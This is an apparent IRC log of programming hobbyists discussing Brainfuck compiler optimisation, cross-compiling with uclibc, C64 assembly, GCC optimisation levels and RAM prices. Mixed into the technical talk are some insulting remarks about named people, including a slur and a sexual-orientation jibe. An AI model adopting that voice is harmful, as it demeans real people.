learn about this wonderful, wonderful function called "free()". 17:55:03 pikhq: they use a gc 17:55:06 boehm 17:56:28 ehird: And Boehm hates "free()". 17:56:44 Okay, statically linked, I've got LostKng at 232K. 17:56:52 glibc is freaking huge. 17:57:19 -!- oklodok has joined. 17:57:23 pikhq: use uclibc 17:57:25 ors th 17:57:51 If I had it available, I would. 17:57:52 *shrug* 17:58:46 don't you have a package management system pikhq 18:02:30 Yes, but uclibc is not some easily-installed package. 18:03:04 You need to install an entire build chain for it... 18:03:06 Why not? 18:03:15 Basically, you install a freaking cross-compiler. 18:03:16 * ehird shrug. 18:03:23 Just use your current toolchain 18:03:32 But that doesn't work. 18:03:37 heh 18:03:41 use a different libc? 18:03:58 pikhq: http://www.fefe.de/dietlibc/ 18:04:01 My current toolchain produces pc-linux-gnu binaries. 18:04:16 To use uclibc, I would need to produce a pc-linux-uclibc toolchain. 18:04:23 dietlibc! 18:04:38 Which cheats instead of making a pc-linux-dietlibc toolchain. 18:04:48 Said cheats are crufty and unreliable. ;) 18:04:59 pikhq: yer just compiling lostkng! 18:05:20 * pikhq installs crossdev 18:05:48 the dietlibc author is a kook, interestingly 18:06:06 he worships djb (I suspect some homosexual undertones) and wrote this laughfest: http://www.fefe.de/nowindows/ 18:06:13 maybe I'll port all of his software to windows out of spite :) 18:08:53 do it 18:10:55 Y'know, that's really, really dumb when you consider that there is ReactOS. 18:11:13 A free Windows implementation. ;) 18:11:39 Also, porting dietlibc to Solaris wouldn't help a nonfree software company any more. 18:12:00 Last I checked, Stallman recommended Solaris as an OS that only ships with free software. :p 18:15:53 ahh, c64 asm is nice and simple 18:15:57 three registers, A X Y 18:15:58 There's also "buildroot"; it quasi-automagically gets and builds a full uclibc cross-toolchain. (Well, when it works.) 18:16:04 very risc 18:16:11 -!- oklodok has quit (Read error: 113 (No route to host)). 18:17:16 I think I'll stick with crossdev. 18:17:25 It's Gentoo's automagic cross-compiler-maker. ;) 18:18:52 C64 called xor EOR 18:20:10 crossdev -t x86_64-pc-linux-uclibc. 18:20:11 :) 18:24:23 Lost Kingdom is now down to 885K generated C code, from 956K in previous revision 18:25:11 yay crossdev, it makes crosscompiling easy. Without crossdev it tends to be a major PITA. 18:27:14 * pikhq waits for his currently-running build to finish before running crossdev 18:33:26 hm 18:33:37 is [+>-<] always same as [->+<] 18:33:59 yes.. 18:34:07 even if the non-index cell is set to a non-zero value. Right 18:34:41 ehird, so then that can turn into p[1]+=p[0]; p[0]=0; 18:34:48 yes... 18:35:02 wouldn't it be -= for one and += for the other? 18:35:07 or what am I confusing here 18:35:48 ehird, ? 18:35:58 umm what 18:36:07 [->+<] is just 18:36:16 p[0]--;p[1]++; 18:36:20 and it conditions on p[0], so 18:36:27 p[1]+=p[0]; 18:36:30 p[0]=0 18:36:32 ; 18:36:32 yes 18:36:33 that is clear 18:36:44 but what about the other one: [+>-<] 18:37:03 that is p[0]++;p[1]--; 18:37:12 p[0] += p[1] 18:37:13 and condition is on p[0] 18:37:14 p[1]=0 18:37:16 oh 18:37:24 err 18:37:25 no 18:37:28 AnMaster: err 18:37:33 it's 18:37:36 p[1] won't be 0 18:37:37 p[0]=0 18:37:42 p[1] = shit 18:37:47 sorry, i'm confused atm 18:37:50 um no 18:37:52 you can reorder them 18:38:04 to [>-<+] 18:38:15 why is p[1] == shit hm.. 18:38:23 right 18:38:47 For [+>-<] you do p[1] -= (N-p[0]), which (modulo N) is probably p[1] += p[0] too. 18:38:58 Assuming wrapping cells, of course. 18:39:14 yeah 18:39:18 p[1]+=p[0];p[0]=0; 18:40:11 fizzie, so they are the same with wrapping cells? right 18:40:12 haha, this c64 emulator blurs the display to emulate a crt 18:41:03 Console emulators tend to have all kinds of "darken every second line to simulate TV scanlines" display options, too. 18:41:08 it does that too 18:41:19 Is it vice or something else? 18:41:20 very convincing 18:41:25 yeah vice 18:41:28 with PAL emulation turned on 18:41:31 and 2x scale 18:41:34 well 18:41:35 not scale 18:41:37 just 2x bigger 18:41:42 * ehird uploads piccy 18:41:52 I know what it looks like 18:41:54 I used vice before 18:41:58 i didn't talk to you 18:42:08 for anyone who hasn't seen it, http://xs539.xs.to/xs539/09202/picture_1751.png 18:42:10 the PAL emulation isn't convincing IMO 18:42:34 is on a tft 18:42:36 at least 18:42:48 ehird, depends on how high res the TFT is 18:42:57 100dpi 18:43:02 86 dpi :P 18:43:07 poor you 18:43:38 ah, SIDs are wonderful 18:43:42 For [+>-<] you do p[1] -= (N-p[0]), which (modulo N) is probably p[1] += p[0] too. <-- "probably"? 18:43:58 Well, I don't like doing unqualified statements. 18:44:06 ah. 18:44:13 If it sounds plausible to you, you can remove the "probably" part. 18:44:47 I guess I need to prove it. Sigh 18:45:19 actually, it is simpler to just brute force it for the unsigned char case :) 18:45:31 Uh, well.. a - (N-b) = a + b - N = a + b (mod N); there you go. 18:46:03 proving it takes about 5 seconds in wetware 18:46:08 vs 10-15 seconds to write bruteforcer 18:46:09 hah. I finished writing the short iterate for brute force half a second before that line :P 18:46:23 bbl 18:46:29 brute forcing: the tool for brutes' minds. 18:51:46 -!- asiekierka has changed nick to asie[brb]. 19:03:28 wow 19:03:39 pikhq, I'm at 218 passes for LostKing now 19:03:49 I think I need to make my shift pass do more at once. 19:05:51 ehird: finally got to commerce city 19:05:55 it would be faster if it moved more in both directions, swapping as it went, rather than moving a bit then doing a new scan over it 19:06:02 hm 19:06:20 bsmntbombgirl: \o/ 19:06:36 supposed to get here tommorow 19:09:13 decided what os yet? 19:09:21 i think freebsd 19:09:26 linux is boring 19:09:51 If it's non-boring you're looking for, go ReactOS or BeOS or OS/2 :P 19:10:01 Or maybe NT 3.51 19:10:07 bsmntbombgirl: linux is boring but uh... also practical 19:11:03 ah, SIDS is wonderful 19:11:07 *gasp* 19:11:33 ... 19:12:11 OK, so I'm slightly misquoting you :P 19:21:06 god 19:21:09 people are stupid 19:21:15 http://asserttrue.blogspot.com/2009/05/one-of-toughest-job-interview-questions.html 19:21:18 toughest question ever? 19:21:53 sed 's/[^a-z]\+/ /g'|tr ' ' '\n'|awk '{words[$0] += 1} END{ for(word in words) print words[word], word; }'|sort -nrk1|head -10000 19:21:57 -!- asie[brb] has changed nick to asiekierka. 19:21:57 that blog is funny because the author is a retard 19:21:59 OH FUCK, IMMA GENIUS 19:23:37 INC $D020 19:23:39 DEC $D020 19:23:42 JMP $2000 19:23:53 Jump TWO THOUSAND DOLLARS 19:24:13 yes 19:24:21 well actually put A2000 before that first inc 19:24:25 and also MON before 19:24:28 Anyone with a blog named "assert true" would pretty much have to be a retard. 19:24:32 and also emulator→load catridge→tfc3 19:24:43 and also reboot-while-holding-commodore-key 19:24:44 err 19:24:46 i'm not sure which key 19:24:49 it's mapped to esc here 19:26:00 Fun C64 fact: the drive was more powerful than the C64. 19:26:27 ... and it's even written as "assertTrue()" ... idiot 19:26:39 The drive could solve the halting problem? 19:26:40 i fucking hate that function name 19:26:42 GregorR: assertTrue() is a function in javahead assertion libraries 19:26:47 classic example of bloat 19:26:48 assertTrue(foo) is.. assert(foo) 19:26:51 there's things like assertFalse 19:26:55 and assertEquals(foo,bar) 19:27:01 that is sooooo stupid 19:27:14 yep 19:27:15 assert(foo) 19:27:16 ... wtf? 19:27:16 assert(!foo) 19:27:18 -!- jix has joined. 19:27:18 assert(foo==butt) 19:27:31 but the javaheads can't introspect on the code used so they use that to get half-decent output ;-) 19:27:33 jix! 19:27:45 fyb2 19:27:50 !addinterp jix sh echo 'Jix is not a programming language.' 19:27:51 Interpreter jix installed. 19:27:56 !jix foo 19:28:06 lol 19:28:11 .... 19:28:14 >_> 19:28:17 !delinterp jix 19:28:17 Interpreter jix deleted. 19:28:32 ehird: Really; that's terrible. 19:28:34 hey don't delete me! 19:28:46 jix: GregorR made fukyorbrane2 19:29:05 "programming languages should not be designed by piling feature upon feature, but by removing the limitations that make extra features seem necessary" 19:29:07 I did? 19:29:13 to egobawt 19:29:19 !fyb 19:29:19 Use: !fyb 19:29:22 bsmntbombgirl++, although that sentence is ironically in R6RS. 19:29:25 I didn't change the language :P 19:29:50 Huh, EgoBot has gone wonko ... 19:29:53 * GregorR figures out why. 19:30:01 bsmntbombgirl: In other words, all languages should be a superset of Lisp. 19:30:04 :p 19:30:14 pikhq: it's RnRS's intro 19:30:17 GregorR: asiekierka was fucking with it 19:30:20 RnRS? 19:30:34 pikhq: the scheme standard 19:30:38 pikhq: Revised^N Report on the Algorithmic Language Scheme. 19:30:39 Ah. 19:30:43 Appropriate. 19:30:47 Currently at R5RS; some heathens think it's at R6Rs. 19:30:49 *R6RS 19:31:30 I don't think there's many languages that embody that more than Scheme... 19:31:38 nope :D 19:31:59 LAMBDA: The Ultimate *. 19:32:10 ( http://en.wikipedia.org/wiki/Lambda_Papers ) 19:32:26 OH I HAD NEVER HEARD OF THOSE< THANKS FOR LINK 19:32:35 I WAS TALKING TO pikhq 19:32:36 <<<<<<< 19:33:02 i've got all of them printed out somewhere 19:38:35 -!- GregorR-L has joined. 19:38:38 Fixtlawl 19:38:43 !bf +++++++++++[>+++++++>+++++++++>++++>+<<<<-]>-----.>++.+++++++..+++.>.------------.<++++++++.--------.+++.------.--------.>+.>-. 19:38:44 Hello, world! 19:38:58 !bf <----------------------------------------- 19:39:02 !bf <-----------------------------------------. 19:39:02 19:39:36 -!- kar8nga has joined. 19:39:43 If you're trying to break it, there are much better routes to try. 19:39:50 !c printf("%p\n", malloc(1024)) 19:39:51 0x7f7c97aa3010 19:40:09 : !c printf("%p\n", malloc(240934)) 19:40:16 !c printf("%p\n", malloc(240934)) 19:40:17 0x7f8c1e449010 19:40:44 Hm, it has a much smaller VM limit than that, it must be using mmap. 19:40:57 Oh wait, that's only 240k :P 19:41:03 !c printf("%p\n", malloc(24093400)) 19:41:04 0x7f5dede87010 19:41:08 !c printf("%p\n", malloc(240934000)) 19:41:09 (nil) 19:41:37 (If you want to poke at it and not bother #esoteric , there's #egobot ) 19:43:57 * pikhq reads Lambda: the Ultimate Imperative 19:43:59 Fun read. 19:47:34 they all are 19:47:57 so's r5rs 19:48:38 I'm going to create a blog called Kappa the Penultimate 19:49:14 Omega the Indubitably 19:49:16 lawl 19:49:43 Mu: the Postultimate 19:49:58 as mentioned in #haskell, you can't miss "Lambda: The Ultimate Blub" 19:50:12 Gracenotes: Paul Graham reference detected. Bozo bit set. 19:51:00 not my joke! And you realize that's the adorable bit, right? 19:55:33 * GregorR-L sets mode: +ooo ais523 Gracenotes ehird 19:55:46 * ehird has kicked GregorR-L 19:56:08 * GregorR-L sets mode -o+b ehird ehird!*@* 19:56:24 how, you're not here 19:56:34 I soytenly seem to be! 19:56:42 the channel has mysteriously become -n while you weren't watching 19:56:52 because GregorR-L unset the mode lock 19:56:59 what, you can set /modes/ from outside on a -n channel? 19:57:11 ais523: uh, dunno. It's a guess though : 19:57:13 that makes no sense, how would you be an op if you weren't even in the channel? 19:57:21 grrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrr 19:57:42 ais523: perhaps he'd set up an autoban then 19:57:43 Nobody here even has opability on #esoteric , do they? 19:57:50 fizzie does 19:58:27 WE ALL WURVE YOU FIZZIE 19:58:44 OUR WURVLES TO U 19:59:13 what is a wurvle 19:59:34 That's the sort of relic-from-the past I am. Although I guess lament's been seen quasi-recently, too? 19:59:38 * GregorR-L takes all of tombom's wurvles and gives them to FireFly 19:59:40 Err 19:59:43 I meant fizzie, but sure. 19:59:48 Alright 20:00:11 tombom: A DISCRETE UNIT OF LURV 20:00:38 -!- pikhq has quit ("leaving"). 20:01:40 fizzie and lament and Aardappel (← last one being a joke :p) 20:01:50 AARDAPPEL IS WITH US . . . IN SPIRIT 20:03:02 ．．． 20:03:10 ｔｈｉｓ　ｉｓ　ｒａｔｈｅｒ　ｃｏｎｆｕｓｉｎｇ　＞＿＞ 20:04:17 -!- tombom_ has joined. 20:05:13 Ⓨ⒠⒮, ⒤⒯ ⒤⒮. 20:06:03 -!- GregorR-L has changed nick to vsnprintf. 20:06:22 Ⓦⓗⓞⓞⓟⓢ. I accidentally the parenthesized letters instead of circled ones. 20:08:32 Strange. On this very much not an Apple computer, gucharmap shows the private-use-area letter U+F8FF () as the Apple logo. 20:09:16 <-- greatest nick ever 20:09:37 no 20:09:39 greatest nick ever is rlwinm 20:09:49 what's so great about that nick? 20:09:54 it's a powerpc instruction 20:10:01 what does it do? 20:10:26 -!- vsnprintf has changed nick to no-op. 20:10:34 This nick is unowned. 20:10:37 Can you believe that? 20:10:50 (nop and noop are owned :P ) 20:11:05 the c64 has an instruction called 20:11:06 PHP 20:11:11 lawl 20:11:19 it means Push Processor Status on Stack 20:11:38 -!- no-op has changed nick to Egolitarian. 20:11:42 I think this is a good nick. 20:11:52 Stop calling them C64 instructions, since the 6502 is used absolutely everywhere. :p 20:11:59 is the c64 6502-based, or does it just have the same instructions? 20:12:06 fizzie: ah, you answered my question for me 20:12:20 yes, well 20:12:24 -!- asiekierka has quit. 20:12:24 f 20:12:25 fu 20:12:37 ais523: 6510. 20:12:37 the powerpc has an instruction called 20:12:39 eieio 20:12:46 comex: that's a great name 20:12:48 (enforce in-order execution of I/O) 20:12:53 and probably deliberate 20:12:58 true 20:13:08 hurd has an error EIEIO 20:13:13 it's the kernel panic code 20:13:16 the string? 20:13:19 Computer has gone to the farm. 20:13:19 real 1m3.411s -> real 0m12.334s 20:13:22 that's a bit better 20:13:39 no wait 20:13:41 computer brought the farm 20:13:45 AnMaster ran the "divide time by 6" operation 20:13:53 Egolitarian, hah 20:13:53 AnMaster: what program? 20:13:57 that's too slow to be cfunge 20:14:00 ais523, "in-between" 20:14:05 Z80 gpg-error.h has "GPG_ERR_EIEIO = GPG_ERR_SYSTEM_ERROR | 44"; I'm not quite sure what it's used for. 20:14:24 Er, not Z80 gpg-error.h; the usual gpg-error.h 20:14:24 -!- pikhq has joined. 20:14:25 find / -type f | xargs grep -i eieio 20:14:28 "UNPLUG MODEM TO GET IT TO WORK!" 20:15:24 ais523, First I made the bf-to-C compiler called "before" (compiler written in C), Then I made the bf-to-C compiler called "after" (coded in scheme), Now I'm making the bf-to-selectable-backend compiler called "in-between" (coded in erlang) 20:15:31 and that was on lostking 20:15:55 ah, ok 20:16:45 >_O 20:16:48 O_< 20:17:01 AnMaster: And what will you call the one written in BF? 20:17:12 Egolitarian, "not done by me" 20:17:44 * Egolitarian writes that down. 20:17:45 bf-before 20:17:55 which is the name that would be produced if before was compiled via gcc-bf 20:17:55 ais523, what I did was to change which list I add back the swapped operands to in the function sorting additions, sets and so on based on offset (changes ++>-<+ into +++>-< and so on). 20:18:00 THIS IS LIVE FIRE IN THE YERA OF 1994, 20:18:03 I now add back to the Input List 20:18:05 or bf-unknown-none-before if you wanted to give the full triplet 20:18:08 instead of the Output one 20:18:14 *year 20:18:19 thus meaning I need fewer passes over it 20:18:22 to properly sort it 20:19:22 ais523, what "triplet"? 20:19:40 that is four sections 20:19:55 bf-unknown-none is the triplet name for gcc-bf 20:20:02 ah 20:20:03 but 20:20:06 triplets are used by the GNU build system to identify a target processor 20:20:08 before is a dead project 20:20:11 it had a bad design 20:20:19 meaning it was hard to add optimising properly 20:20:22 and yes, but it would technically speaking be written by you, and in BF 20:20:39 heh 20:20:50 ais523, I run the optimiser passes in a loop until the last time around didn't change anything. 20:21:08 the "change list to add back to" reduced it from 218 iterations for lostking to just 5. 20:21:20 quite a big difference 20:21:52 -!- tombom has quit (Read error: 110 (Connection timed out)). 20:21:53 -!- tombom_ has changed nick to tombom. 20:22:06 bah, how come VICE doesn't map ← to anything intelligable 20:22:24 ehird, what ← ? 20:22:41 The commodore had a ← key to the left of 1 and just above CTRL. 20:22:44 As in AltGr - whatever that generates the ← or the arrow key? 20:22:46 aha 20:22:47 that one 20:22:49 Same sort of place ESC is on current keyboards. 20:22:54 VICE purports to map ^ to it. 20:23:00 But Shift-6 (=^) doesn't trigger it. 20:23:06 It triggers & 20:23:29 8 2 4 8 /* C -> C */ 20:23:29 9 3 7 8 /* V -> V */ 20:23:30 10 7 1 8 /* ^ -> Left Arrow */ 20:23:32 11 3 4 8 /* B -> B */ 20:23:34 12 7 6 8 /* Q -> Q */ 20:23:52 -!- tombom has quit ("Peace and Protection 4.22.2"). 20:24:23 AnMaster: you said you used vice right 20:24:30 with ERL_COMPILER_OPTIONS='[inline,native,{hipe,[o3]}]' time is reduced to real 0m8.942s 20:24:34 ehird, yeah, for some game 20:24:39 forgot which one 20:24:43 was a year ago or so 20:24:43 i assume you didn't use backarrow 20:24:56 ehird, I probably didn't indeed. 20:25:06 can't use TURBO-ASSEMBLER without it :-( 20:26:34 while (p[0]) { 20:26:34 p[0]-=1; 20:26:34 p[1]=1; 20:26:34 } 20:26:37 strange loop 20:26:50 AnMaster: verily 20:26:56 yes that is from optimised lostkingdom 20:27:24 and I'm *quite* sure that is really what happens in lostkingdom. 20:27:31 Just need to locate it. Near the beginning 20:28:00 that can be optimized AnMaster 20:28:02 >[-]+<[-]+[>[>[-]+<-] 20:28:03 to p[0]=0;p[1]=1; 20:28:05 ehird, I'm aware 20:28:13 ehird, I just haven't written any pass that does it 20:28:17 yet 20:28:29 but that code is right at the beginning of lostkingdom 20:28:41 it is rather silly! 20:29:14 it is generated 20:29:19 AnMaster: use mandelbrot.b for a real benchmark 20:29:36 ehird, yes I manage that quite fine. And I can compile that without GCC running out of memory 20:29:53 yes, but for speed 20:29:54 It is also not *quite* that silly; it basically does "if (p[0]) p[1] = 1;". 20:29:58 lostkng is just shitty generated code 20:30:25 fizzie, ah true 20:30:33 I haven't implemented the if pass yet 20:30:41 since I haven't yet implemented the loop analyser 20:30:42 does esotope do ifs 20:30:45 If you just turn it to p[0] = 0; p[1] = 1; you end up setting p[1] to 1 every time, while it wouldn't happen if p[0] were 0. 20:30:45 ehird, yes 20:30:47 iirc 20:30:57 ehird, but I don't aim for that good. 20:30:59 ah, true enough fizzie 20:31:10 indeed 20:31:36 I'm going to turn it into an if yes. 20:31:38 Although it could be [>[-]+<[-]] so that it doesn't do that set-to-one too many times. But maybe p[0] is for other reasons guaranteed to be 0/1. 20:32:07 * AnMaster wonders what is best: if (p[0]) { code; p[0] = 0; } or if (p[0]) { code; } p[0] = 0; 20:32:08 http://www.youtube.com/watch?v=owHCjEWjAvs&feature=related 20:32:15 the latter could potentially be merged 20:32:20 if p[0] was modified after 20:32:32 but if it wasn't it would set it when it wasn't needed 20:32:58 shitty movie but interesting use of an atari 20:33:05 i didn't know it could do such high quality stuff 20:33:22 I could detect that, but it seems quite a bit of work. a pass after all other ones scaning for that. 20:34:45 This is driving me crazy!!! 20:34:46 >_< 20:39:03 * AnMaster defines a three state bool. 20:39:15 that's not a bool 20:39:27 s/not a/no/ 20:39:42 * ehird throws vice out the window 20:39:42 ehird, and it is a SQL-like bool 20:39:56 true | false | unknown 20:40:00 * ehird stomp stomp stomp 20:40:05 good name for it? 20:40:12 AnMaster: | floyd 20:40:14 short word for the data type 20:40:16 ehird, ... 20:40:27 AnMaster: FRC reference. 20:40:35 * AnMaster googles FRC 20:40:45 Definitions of FRC on the Web: 20:40:45 Family Resource Center 20:40:45 en.wiktionary.org/wiki/FRC 20:40:47 kay 20:41:03 ehird, was that the meaning of it? 20:41:05 The Fantasy Rules Committee is a nomic-like game that started as a special committee of NomicWorld. It did however survive the disbanding of the latter game, and still exists as an independent entity. 20:41:06 In FRC (as it is called in short), there are subsequent rounds. Each round starts with all players being eligible (except one who functions as the judge). Players try to make valid rules, that is, rules consistent with all previous ones. A valid rule extends a player's eligibility to fourteen days after the rule was posted, but an invalid one decreases it by two days. The last eligible player (who in almost all cases is also the player who posted the las 20:41:12 t valid rule) is the winner, and will function as the judge in the next round. 20:41:13 Round 29 20:41:15 Theme "Logic", or more properly "FLogic" 20:41:17 Where you can find out whether <.-.> is Frue, Talse or Floyd!! 20:41:19 http://www.win.tue.nl/cs/fm/engels/frc/ 20:41:27 I see 20:41:30 Archived, by the looks of it, by oerjan. 20:41:31 but irrelevant for this 20:41:38 Or at least, same university as his site. 20:41:41 He used to play FRC. 20:41:41 mhm 20:41:45 AnMaster: Sure it is, it's a third truth value. 20:42:29 ehird, what is <.-.> supposed to be 20:42:34 What do you mean? 20:42:39 " Where you can find out whether <.-.> is Frue, Talse or Floyd!!" 20:42:43 that 20:42:47 Yes...? 20:42:51 a weird smiliy? 20:42:55 smiley* 20:42:57 No? 20:43:01 ehird, then what 20:43:07 -!- jix has quit ("brb"). 20:43:15 what do you mean? 20:43:18 ... 20:43:35 Does "<.-.>" have any meaning? Or is it just random. 20:43:55 Read the round? 20:44:05 Presumably it'll define it. 20:44:07 -!- jix has joined. 20:45:19 FTheorem 29.12.1 <.-.> 20:45:35 tl;dr 20:45:47 anyway 20:45:52 AnMaster: Good god, what on earth is your problem? What is so confusing about "Where you can find out whether <.-.> is Frue, Talse or Floyd!!" 20:46:10 I need a good name for a type which is true, false or undefined. 20:46:22 BikeshedIsRed 20:47:10 ehird, serious suggestion please. Plus it must be start with a lower case letter to be a valid type name. 20:47:32 Why the fuck do you have to ask me to decide a trivial type name 20:47:35 I thought you could code 20:47:39 s/undefined/unknown/ 20:47:49 ehird, yes, but I suck at making up good names. 20:48:01 RogerMikeBob 20:48:19 bool_or_unknown seems so long. 20:49:07 # Copyright 1995 Olaf 'Rhialto' Seibert. All Rights Reserved. 20:49:07 # You are not allowed to read this using any kind of Micro$oft product. 20:49:14 ITT: License fail. 20:49:32 ITT? 20:50:50 err, I'm not sure a licence can do that 20:51:00 ais523: thus the "fail". 20:51:07 it's not even a license, actually, it's just a note in the file 20:51:15 * ehird opens 500 VMs of Windows and opens it in each 20:51:30 * AnMaster watches ehird's computer swap trash 20:51:31 500 VMs of Windows probably wouldn't fit in even your computer's memory 20:51:43 well, let's see 20:51:47 windows 3.1 would do 20:51:52 it can run on ... 16MB of RAM? 20:52:05 so 8GB 20:52:09 eh, easy peasy. 20:52:20 ehird, ITT? 20:52:31 What about an EULA which indicates that the program can't be run? 20:52:38 ehird, copy on write. 20:52:45 Or has to be run under some odd circumstances 20:52:46 I think you'd need less than 8G. 20:52:47 ;) 20:52:54 8G ain't much these days :p 20:53:09 yes. Yes it is. 20:53:14 It is a decent chunk of RAM, though. 20:53:29 AnMaster: no it's not, you can buy 128GB of ram for like $1k 20:53:34 for a server 20:53:56 Yes, because everyone plops down $1,000 for a system. 20:53:58 pikhq, that assumes you manages some memory sharing between those VMs. Which is a lot harder than for plain applications. I would be surprised if any of the current VMs did that. Because in most cases where you could share memory, it would be non-trivial to detect that it could be done. 20:54:07 pikhq: not the point 20:54:12 http://www.newegg.com/Product/Product.aspx?Item=N82E16820159025 20:54:13 ehird, very much the point. 20:54:15 8GB DDR2 for $80.99 20:54:23 that's quite mainstream territory 20:54:38 ehird, for the state of art desktops. 20:54:45 ehird, most people these days buy rather cheap systems. 20:54:58 yes, but $81 isn't all that much on top of the price of a typical computer 20:55:01 I'd say the typical ram expenditure for a new, mid-range system is $40 20:55:08 pikhq, that, and the average is a few years behind 20:55:13 $81 for 8GB ... you can't say 8GB is difficult to buy 20:55:14 and 8 GB is a massive amount to someone like me, who's used to really low-powered computers 20:55:16 or even odd 20:55:17 since most people don't upgrade every year 20:55:26 if you want 8GB, you can get it, unless you're completely and utterly broke 20:55:26 but maybe every 5th year 20:55:28 ehird, ^ 20:55:39 AnMaster: I'd listen to what you're saying if it was relevant at all 20:55:45 ehird: That's the attitude that makes 8GB RAM usage necessary. 20:55:47 ehird, it is. 20:55:52 the point is that 8GB is not odd, expensive or strang 20:55:53 e 20:55:55 but there is no point arguing with you. 20:56:13 indeed there isn't, because I don't simply admit you're right when you blab about irrelevant shit :) 20:56:27 -!- Egolitarian has quit ("Leaving"). 20:56:51 except it is relevant. bbl 20:57:05 ah, right, I also don't accept arguments by assertion 20:57:12 all in all I'm a pretty bad person to try and convince of stupid things 20:57:54 I think the standard update interval for gamers is 2-4 years 20:58:23 It is relevant, because you were asserting that 8 GB "ain't much these days". That implies that the majority have more than that. Which simply isn't true yet. In a few years sure. 20:58:44 now, I have better stuff to do than argue with you. Cya 20:59:06 that's actually not what I said. 20:59:14 "8GB ain't much these days" != everyone has >8GB 20:59:28 "8GB ain't much these days" = "it is not difficult, extravagantly costly or hard in any way to get 8GB of RAM at all" 20:59:41 everyone has >8GB != "majority" 20:59:45 so that wasn't what I said 21:00:00 majority == 50% or more 21:00:21 congrats, you can nitpick at irrelevant bits to avoid rebutting my actual point. 21:00:37 ehird, yes it is. Because unless you have a very recent system you will need to upgrade your mobo too 21:00:43 and then probably the CPU too 21:00:46 so yes it is costly 21:00:48 if you have a low-end mobo, sure. 21:01:05 ehird, even if you have a high end mobo from a 2-4 years ago. 21:01:10 I have a 3 year old system and it supports 16GB fine 21:01:15 AnMaster: you're bullshitting 21:01:21 what mobo has less than 4 slots? 21:01:21 well, I haven't tried that, but it would 21:01:27 what mobo supports less than 8GB? 21:01:35 ehird, most ones I have seen have 2 or 3 slots 21:01:35 A: one you bought on the cheap, or one that's ancient. 21:01:37 not 4 21:01:48 AnMaster: i guess sweden is where they keep the dinosaurs 21:02:06 as I said above. I don't consider "state of the art" as the norm 21:02:16 that's fine, because I never said these are state of the art 21:02:18 I rather consider average the norm. 21:02:27 a motherboard with 4 DDR2 slots is not state of the art 3 years ago at all 21:02:30 And not "gamer average". But "all user average" 21:03:18 Argumentum ad AnMaster: Keep talking about a minor aspect of the argument that doesn't affect its actual truth value while ignoring future statements. This helps you seem like you're winning the argument without any fiddly thinking or rebutting or having facts on your side. 21:03:21 and most people actually buy low end systems. 21:03:23 ehird, most people these days buy rather cheap systems. 21:03:29 21:03 AnMaster: and most people actually buy low end systems. 21:03:33 That's objectively false. 21:03:36 If it's the norm, it's not low-end. 21:03:37 ehird, proof? 21:03:50 ehird, low end compared to your standards. 21:03:51 AnMaster: the very definition of low-end, and norm. 21:03:54 was what I meant. 21:03:55 Uh huh. 21:04:06 I define low-end as being lower than the average of what's on sale 21:04:10 as opposed to the average of what people buy 21:04:22 you can buy supercomputers 21:04:26 bam, suddenly everything is low-end 21:04:27 ais523, that is a better definition. 21:04:36 ehird: except there aren't very many on sale 21:04:49 maybe, let's say the median of all computers that haven't been sold yet, but can be bought 21:04:55 sure there are 21:05:04 but there are more non-supercomputers 21:05:42 i'd say that your definition leads to very vague and fuzzy definitions of the ends 21:05:51 since you have to analyze the exact proportions and specs of computers being sold 21:12:07 -!- Sgeo has joined. 21:22:28 -!- MigoMipo has quit ("QuitIRCServerException: MigoMipo disconnected from IRC Server"). 21:26:57 -!- BeholdMyGlory has quit (Remote closed the connection). 21:29:40 -!- oerjan has joined. 21:31:10 -!- BeholdMyGlory has joined. 21:40:51 Archived, by the looks of it, by oerjan. 21:41:21 yep, although that was of course many years ago 21:41:39 What did oerjan achieve? 21:41:53 archiving frc during its first years 21:42:06 oh 21:42:17 I loved reading the FRC archives 21:42:21 otherwise, looping in /// 21:42:40 but i have a simpler method now 21:43:38 (the horribly inefficient iterative scan should be unnecessary) 21:49:13 :-D 21:49:37 just need to actually code it :) 21:49:55 oerjan: port it to the c64 21:50:01 er... 21:50:05 no, thanks 21:50:10 :) 21:52:08 GCC's -O0 is horrible. It doesn't even constant fold +0 21:52:09 :( 21:52:18 I mean, that can't possibly hurt debugging 21:52:38 GCC -O0 isn't "don't do anything to hurt debugging", it's "perform no optimizations whatsoever" 21:52:44 It doesn't even assign values to registers with -O0 21:52:49 to make i = 1 + 1 + 0 ; be i = 2; instead of calculating that at runtime. 21:53:04 GregorR, therere should be a mode for "don't do anything to hurt debugging" then 21:53:10 because -O1 does hurt debugging 21:53:26 -O0.5430897 21:53:35 I agree, there should be a -O 21:53:36 what is -O by default? 21:53:40 ehird: 0 21:53:48 so gcc is shit by default 21:53:48 cool 21:53:54 I'm asking for something that does basic constant folding + "mov $0,%eax" => "xor %eax,%eax" and such 21:53:56 ehird: Oh, you mean if you specify -O? Then it's -O1 I think 21:54:02 nope 21:54:05 I meant if you don't specify 21:54:11 Right, yeah, that's -O0 21:54:19 AnMaster: I bet those turn into the same microcode these days 21:54:21 default optimisation is -O0, unless you have some -O sitting in your cflags somewhere 21:54:22 ehird, then it depends on ./configure time options iirc 21:54:30 that's not gcc 21:54:33 ehird, um that doesn't matter. 21:54:42 ... 21:54:51 ./configure puts things in the Makefile, thereby passing them to gcc X_X 21:54:52 if "mov $0,%eax" and "xor %eax,%eax" turn into the same microcode 21:54:55 they're the same thing 21:54:58 ehird, since the opcode for mov $0,%register is longer than xor %reg,%ref 21:54:59 GregorR: yeah but I asked about gcc 21:55:00 reg* 21:55:03 not autohell 21:55:05 AnMaster: oh noes 21:55:10 ehird, so not the same thing when it comes to cache 21:55:11 ehird: That was at AnMaster, not you 21:55:16 ah 21:55:17 well right 21:55:21 i agree :P 21:55:34 ./configure puts things in the Makefile, thereby passing them to gcc X_X <-- in ./configure for gcc you can select default -march, -O and such iirc 21:55:44 THAT is what I was talking about 21:55:46 OH 21:55:48 when configuring gcc itself 21:55:49 That I didn't know. 21:56:03 Ah 21:56:03 And that's interesting. 21:56:06 How odd 21:56:19 That sounds stupid actually 21:56:24 liable to break stuff 21:56:24 I'm 100% sure you can select default -march, not 100% sure about default -O 21:56:25 ehird: GCC uses this whole complicated mess of "spec files", it would just have to add the appropriate flag to the spec file for that. 21:56:33 oerjan: your /// looping method looks like what I was trying and failing at 21:56:59 Why is /// colloquially called "slashes" instead of "slashslashslash" 21:56:59 oerjan: now implement BF in /// ;-) 21:57:03 GregorR: shorter. 21:57:14 That's it, I'm making a language called // 21:57:18 I agree, there should be a -O <-- some basic DCE would work too. Like when GCC emits "mov $0,%eax; mov $0,%eax;" after each other 21:57:22 yes I saw that on -O0 